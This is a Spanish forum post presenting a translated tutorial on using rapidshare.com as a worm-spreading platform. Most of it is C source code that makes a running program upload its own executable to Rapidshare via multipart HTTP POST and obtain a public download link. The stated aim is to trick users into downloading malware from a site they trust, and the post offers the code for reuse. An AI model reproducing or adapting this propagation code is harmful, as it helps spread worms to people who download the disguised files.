Página 1 de 1

Rapidshare.com: a new spreading platform

Publicado: 19 Dic 2011, 21:52
por cLn
rapidshare.com: una nueva plataforma de difusión. La difusión de gusanos se está volviendo más y más difícil. Los servidores de correo electrónico han avanzado sus tecnologías para evitar el spam, que la gente no abra archivos adjuntos de correo electrónico sospechosos, la mayoría de los usuarios de P2P usan torrents en lugar de descargar archivos individuales, incluso los usuarios de IRC saben que no deben aceptar archivos DCC de la gente que no sabe o desconfia. ¿Y ahora qué? He visto tanto el RD-EF y la DIA usar servidores HTTP en los equipos infectados para difundir, pero este método no funciona bien. Desafortunadamente, no se puede obligar a un puerto en Windows Vista sin interacción del usuario, y los usuarios ven una URL con la que no están familiarizados y se preocupan ... por lo que este método está muerto. En este tutorial, te mostraré cómo dar el siguiente paso hacia adelante y hacer que los usuarios descarguen de un sitio que conocen y confían. Hace un tiempo, me contrataron para escribir software para cargar los archivos de forma pragmática a [Enlace externo eliminado para invitados]. A la vez, que no creo en nada de eso. Un par de días pasados ​​y me di cuenta de que esto sería una excelente plataforma para los gusanos para propagarse. Mediante la edición de algunas de mis funciones, tuve la oportunidad de convertir el código de malware en formato amigable. Mi propósito para este tutorial no es enseñar cómo escribir código en C o explicar sockets. No voy a comentar sobre cada línea de código. conocimiento de sockets c y ventanas son un requisito para este tutorial ... lo siento chicos.

main.c

Código: Seleccionar todo

#include <windows.h> 
#include <winsock.h> 
#include <stdio.h> 
#include "header.h" 

int    main(void){ 
       char *szFileURL; 
       char *szFilename; 
       DeleteFile("logfile.txt"); 

     szFilename = (char *) malloc(256); 
     memset(szFilename, 0, 256); 
     GetModuleFileName(0, szFilename, 256); 
    
       szFileURL = (char *) malloc(128); 
       memset(szFileURL, 0, 128); 

       if(rsUploadFile(szFilename, "test.exe", szFileURL) == FALSE){ 
              logLine("could not upload file!"); 
              return 0; 
       } else { 
            logLine("upload successful\r\n\turl: %s", szFileURL); 
            return 0; 
       } 
} 
rapidshare.c

Código: Seleccionar todo

/* 
* rsUploadFile() 
* szFilename -> file to be uploaded (ie - c:\windows\virus.exe) 
* szUploadName -> name to be uploaded as (ie - virus.exe) 
* szFileURL -> buffer to accept uploaded file path 
*             128 bytes is plenty (http://rapidshare.com/xxxxxxxxx/filename.exe) 
* 
*    -> handles information from rsGetUploadServer() and rsCreateHeader() 
*    -> sends headers and requests to www.rapidshare.com 
*    -> reads file stored at szFilename and sends 1024 bytes at a time to the 
*           server returned from rsGetUploadServer 
*    -> parses data returned from www.rapidshare.com 
* 
*    returns TRUE on success 
*            FALSE on failure 
*/ 

BOOL rsUploadFile(char *szFilename, char *szUploadName, char *szFileURL){ 
     HANDLE hFile; 
     int nFileSize = 0; 

     hFile = CreateFile(szFilename, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); 
          if(hFile == INVALID_HANDLE_VALUE){ 
          logLine("could not open '%s'!", szFilename); 
          return FALSE; 
} 

     nFileSize = GetFileSize(hFile, 0); 
          if(nFileSize < 1024){ logLine("unrealistic or invalid file size: %d", nFileSize); 
          return FALSE; 
} 

     logLine("file size: %d", nFileSize); 

     char *szServer; 
     char *szHeader; 

     wsaInitiated = initWSA(); 

         // create buffer to hold upload server 

     szServer = (char *) malloc(28); 
     memset(szServer, 0, 28); 

        // get upload server 
    
     if(rsGetUploadServer(szServer) == FALSE){ 
          logLine("could not find valid upload server!"); 
          return FALSE; 

     } 

     logLine("found valid server... creating header"); 

        // create buffer to hold header 

     szHeader = (char *) malloc(640); 
     memset(szHeader, 0, 640); 

        // create header 

     rsCreateHeader(szUploadName, nFileSize, szHeader); 

     logLine("created header... attempting connection"); 

     struct     hostent *pHostEnt; 

     pHostEnt = gethostbyname(szServer); 
     if(!pHostEnt){ 
          logLine("gethostbyname() error: %d", WSAGetLastError()); 
     return FALSE; 

} 

     SOCKET sock; 

        // create socket 

     sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 
     if(sock == INVALID_SOCKET){ 
          logLine("socket() error: %d", WSAGetLastError()); 
     return      FALSE; 

} 

      SOCKADDR_IN pSockAddr; 

        // configure socket 

      pSockAddr.sin_family = AF_INET; 
      pSockAddr.sin_port = htons(80); 
      pSockAddr.sin_addr.S_un.S_addr = *((unsigned long *) pHostEnt->h_addr_list[0]); 

      int ret = 0; 

        // attempt to connect to server 

      ret = connect(sock, (struct sockaddr *) &pSockAddr, sizeof(struct sockaddr)); 
      if(ret != 0){ 
           logLine("connect() error: %d", WSAGetLastError()); 
      closesocket(sock); 
      return      FALSE; 

} 

      logLine("\r\nconnected to %s\r\n", szServer); 

      // send header 

      transfer(szHeader); 
      free(szHeader); 
      
      char *buffer; 
      int    x = 0; 
      int    i = 0; 

      // create buffer for file contents 

      buffer = (char *) malloc(1024); 
      memset(buffer, 0, 1024); 

      SetFilePointer(hFile, 0, 0, FILE_BEGIN); 
      while(1){ 
           i = 0; 

      // read 1024 bytes from file 

           ret = ReadFile(hFile, buffer, 1024, &i, 0); 
           if(ret == 0)
       
      // error checking
 
           break;
 
           if(i == 0) 

      // error checking 

           break; 

      // send 1024 (or whatever's left) to server 

           ret = send(sock, buffer, i, 0); 

      // add bytes read to offset in file 

           x += i; 
           logLine("sent %d of %d bytes", x, nFileSize); 
 } 

           CloseHandle(hFile); 

      // error checking 

           if(x != nFileSize){ 
                logLine("send error: %d [%d != %d]!", WSAGetLastError(), x, nFileSize); 
                closesocket(sock); 
           return FALSE; 
} 

                 logLine("sent all %d bytes!", x); 

           char *szHeaderTail; // oxymoron? lawlzzzzz 

      // create buffer for the end of the header 

           szHeaderTail = (char *) malloc(128); 
           memset(szHeaderTail, 0, 128); 

           sprintf(szHeaderTail, "\r\n%s--\r\n", szBoundary); 

      // send end of header 

           transfer(szHeaderTail); 
           free(szHeaderTail); 

           logLine("sent entire packet... fetching results"); 

      // restore buffer to recv data 

           memset(buffer, 0, 1024); 

      // try to recv 1023 bytes from server 

           ret = recv(sock, buffer, 1023, 0); 
           if(ret != 0){ 

      // success 

           logLine(buffer); 
           closesocket(sock); 

           } else { 

      // failure 

           logLine("recv error: %d", WSAGetLastError()); 
           closesocket(sock); 
           return FALSE; 
 } 

      // parse data from recv buffer 

           x = ret; 
           while(buffer[x] != '?') 

      // search for "?" 
                 x--; 
           x--;        // we want the byte before "?" 

           i = x; 
           while(buffer[i] != '=')    // search for "=" 
                 i--; 
           i++;      // we want the byte after "=" 

           int a = 0; 
           int b = 0; 

           for(a = i; a <= x; a++)     // start at byte after "=" and end at byte before "?" 

           szFileURL[b++] = buffer[a]; 
           szFileURL[b++] = 0;         // end of string = char(0) 

           if(szFileURL)  // error checking 
                return     TRUE; 
           else 
                return FALSE; 
 } 

/* 
*    rsGetUploadServer() 
*    szBuffer -> buffer to accept upload server 
*               28 bytes is plenty (http://rsXXXl3.rapidshare.com) 
* 
*    querys www.rapidshare.com for the next avalible (preffered) server to upload files to 
* 
*    returns TRUE on success 
*    FALSE on failure 
*/ 

BOOL    rsGetUploadServer(char *szBuffer){ 
      SOCKET    sock; 
      struct    hostent *pHostEnt; 
      int ret = 0; 
      char *buf; 
      char *buf2;
 
 // make sure WSAStartup() has been called and succeded 

      if(wsaInitiated == FALSE){ 
           wsaInitiated = initWSA(); 
           if(wsaInitiated == FALSE){ 
                logLine("WSAStartup() error: %d", WSAGetLastError()); 
                return FALSE; 
           } 
      } 

      pHostEnt = gethostbyname("www.rapidshare.com"); 
      if(!pHostEnt){ 
           logLine("gethostname() error: %d", WSAGetLastError()); 
           return     FALSE; 
      } 

      SOCKADDR_IN     pSockAddr; 

       // create socked and error check 

      sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 
      if(sock == INVALID_SOCKET){ 
           logLine("socket() error: %d", WSAGetLastError()); 
           return      FALSE; 
 } 

    // configure socket 

      pSockAddr.sin_family = AF_INET; 
      pSockAddr.sin_port = htons(80); 
      pSockAddr.sin_addr.S_un.S_addr = *((unsigned long *)pHostEnt->h_addr_list[0]); 

    // attempt to connect to www.rapidshare.com 

      if(connect(sock, (struct sockaddr *)&pSockAddr, sizeof(struct sockaddr)) != 0){ 
            logLine("connect() error: %d", WSAGetLastError()); 
            closesocket(sock); 
            return     FALSE; 
      } 

            logLine("connected to www.rapidshare.com... getting prefered server information."); 

    // request next upload server 
            
            transfer("GET /cgi-bin/rsapi.cgi?sub=nextuploadserver_v1 HTTP/1.0\r\n\r\n"); 

    // create buffer to recv data 

            buf = (char *) malloc(512); 
            memset(buf, 0, 512); 

    // recv 511 bytes from rapidshare 

            ret = recv(sock, buf, 511, 0); 
            buf2 = (char *) malloc(56); 

    // the next lines parse data for server 

            int a = ret; 
            int b = 0; 
            int c = 0; 

            while(buf[a] != '\n') // search for new line 
                 a--; 
            a++;       // we want byte after new line 

            for(b = a; b <= ret; b++) 
                 buf2[c++] = buf[b];    // add to buffer 
            buf2[c++] = 0;   // end of string = char(0) 

            sprintf(szBuffer, "rs%sl3.rapidshare.com", buf2); // rs_SERVER_NAME_l3.rapidshare.com 
                 logLine("upload server: %s", szBuffer); 

            free(buf);      // some memory cleanup 
            free(buf2); 

            closesocket(sock);     // close socket 
            return      TRUE; 
} 

/* 
*   rsCreateHeader() 
*   szFilename    ->   file to be uploaded (ie - virus.exe) 
*   nFileSize     ->   length of file to be uploaded 
*   szBuffer      ->   buffer to accept header 
*                      should be at least 512 bytes 
*
*   ->       creates the HTTP POST header for uploading files to www.rapidshare.com 
* 
*/ 

void rsCreateHeader(char *szFilename, int nFileSize, char *szBuffer){ 
     char *temp; 
     char szContentHeader[384]; 
     int nContentBytes = 0; 

     temp = (char *) malloc(256); 
     sprintf(temp, "%s\r\nContent-Disposition: form-data; name=\"rsapi_v1\"\r\n\r\n1\r\n", szBoundary); 
     strcpy(szContentHeader, temp); 
     memset(temp, 0, 256); 
     sprintf(temp, "%s\r\nContent-Disposition: form-data; name=\"filecontent\"; filename=\"%s\"\r\n\r\n", szBoundary, szFilename); 
     strcat(szContentHeader, temp); 

     nContentBytes = strlen(szContentHeader); 
     nContentBytes += strlen(szBoundary); 
     nContentBytes += strlen("\r\n--\r\n"); 
     nContentBytes += nFileSize; 

     temp = (char *) malloc(640); 
     memset(temp, 0, 640); 
     sprintf(temp, "POST /cgi-bin/upload.cgi HTTP/1.0\r\nContent-Type: multipart/form-data; boundary=%s;\r\nContent-  Length: %d\r\n\r\n%s", szBoundary, nContentBytes, szContentHeader); 
     strcpy(szBuffer, temp); free(temp); 

}
misc.c

Código: Seleccionar todo

BOOL     initWSA(void){ 
         WSADATA pWSAData; 

         if(WSAStartup(0x0101, &pWSAData) != 0) 
                if(WSAStartup(0x0202, &pWSAData) != 0) 
                      return  FALSE; 
         return   TRUE; 

} 

void     logLine(char *szLine, ...){ 
         va_list pVA;       // variable arguments are cool :) 
         va_start(pVA, szLine); 

         char *buffer = malloc(0xffff); 
         FILE *fp = fopen("logfile.txt", "ab"); 

         if((!buffer) || (!fp)){ 
                 va_end(pVA); 
         } 

         vsprintf(buffer, szLine, pVA); 
         fprintf(fp, "%s\r\n", buffer); 
         free(buffer); 
         fclose(fp); 
}
header.h

Código: Seleccionar todo

// this saves your fingers... 

#define transfer(szData)     { send(sock, szData, strlen(szData), 0); logLine("%s", szData); } 

         // misc functions 

BOOL     initWSA(void); 
void     logLine(char *, ...); 

         // rapidshare functions 

BOOL     rsUoloadFile(char *, char *, char *); 
BOOL     rsGetUploadServer(char *); 
void     rsCreateHeader(char *, int, char *); 

         // rapidshare boundary 

char szBoundary[] = "----------------286B29206B65666920323030390A";    // hex :) 

BOOL wsaInitiated = FALSE; 

#include "rapidshare.c" 
#include "misc.c"
Según el autor se puede copiar,ripear o lo que uno quiera con el código bajo su propia responsabilidad...

Autor : kefi

Espero que les sirva...
Saludos !